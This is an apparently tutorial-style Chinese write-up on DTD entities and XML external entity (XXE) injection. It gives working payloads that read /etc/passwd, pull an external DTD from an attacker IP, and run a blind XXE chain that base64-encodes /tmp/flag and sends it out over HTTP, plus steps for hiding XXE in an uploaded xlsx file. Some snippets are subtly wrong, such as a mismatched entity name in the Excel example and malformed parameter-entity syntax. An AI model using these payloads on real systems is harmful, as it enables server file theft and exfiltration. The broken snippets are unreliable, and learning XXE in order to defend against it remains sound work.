1.DTD实体及引用
DTD(文档类型定义)是一种用于定义XML文档结构和元素约束的方法。它可以描述一个XML文档的元素、属性、实体、注释等,从而规定了文档的结构和语法规则。DTD 通常是一个单独的文件,可以被多个XML文档所共享。
而在DTD中,实体是一种可以被引用的数据类型,它可以用来代替特定的字符,字符串,符号等,从而使DTD更加灵活和易于维护
(1)内部实体
格式:<!ENTITY 实体名称 "实体的值">
例子:
<!DOCTYPE note [
<!ENTITY author "John Smith">
]>
<user><username>&author;</username><password>1</password></user>
在这个例子中,定义了一个名为author的内部实体,它的实际内容是John Smith,在xml文档中,通过&author进行引用,并将其替换为实际内容
(2)外部实体
格式:<!ENTITY 实体名称 SYSTEM "URI">
例子:
<!DOCTYPE note [
<!ENTITY author SYSTEM "author.txt">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>
在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML文档中,通过使用“&author”来引用该实体,并将其替换为“author.txt”文件中的实际内容。
(3)通用实体
格式:<!ENTITY entity-name "entity-value">
其中,entity-name是实体的名称,entity-value 是实体的值。通用实体可以在XML文档中任何位置用和使用,使用实体引用的方式引用该实体。
(4)参数实体
格式:<!ENTITY % entity-name "entity-value">
其中,entity-name是参数实体的名称,entity-value 是参数实体的值。参数实体只能在DTD中引用和使用,使用%符号和实体名称的方式引用该实体
例子:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://IP:6666">
%remote;
]>
<message></message>
注:
A.使用% 实体名(这里面空格不能少)在DTD 中定义,并且只能在DTD 中使用
% 实体名;引用。
B.只有在DTD文件中,参数实体的声明才能引用其他实体。
C.和通用实体一样,参数实体也可以外部引用。
D.特殊符号
在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误,为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在XML中有5个预定义的实体引用:
2.XML外部实体注入
(1)原理
利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。
(2)构建方法
A.直接通过DTD+外部实体声明
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>
B.通过DTD文档引入外部DTD文档,再引入外部实体
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://192.168.169.1/evil.dtd">
<user><username>&xxe;</username><password>1234</password></user>
Evil.dtd文件内容:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
C.无回显
按B中方法进行利用发现没有回显,那么就需要用blind xxe漏洞去利用
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.169.1:1234/test.dtd">
%remote;%int;%send;
]>
<user><username>1</username><password>2ad</password></user>
Test.dtd:
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.169.1:1234/?p=%file;'>">
(3)EXCEL文档XXE
实际上,现代Excel文件实际上只是XML文档的zip文件。这称为0fice Open XML格式或00XML。许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://xxx.com/" >]>
<name>&GVI;</name>
首先新建xlsx文件,然后将其后缀修改为.zip,再将该zip文件解压,打开[Content_Types].xml把测试代码放到第二、三行
然后将其后缀改为xlsx再上传即可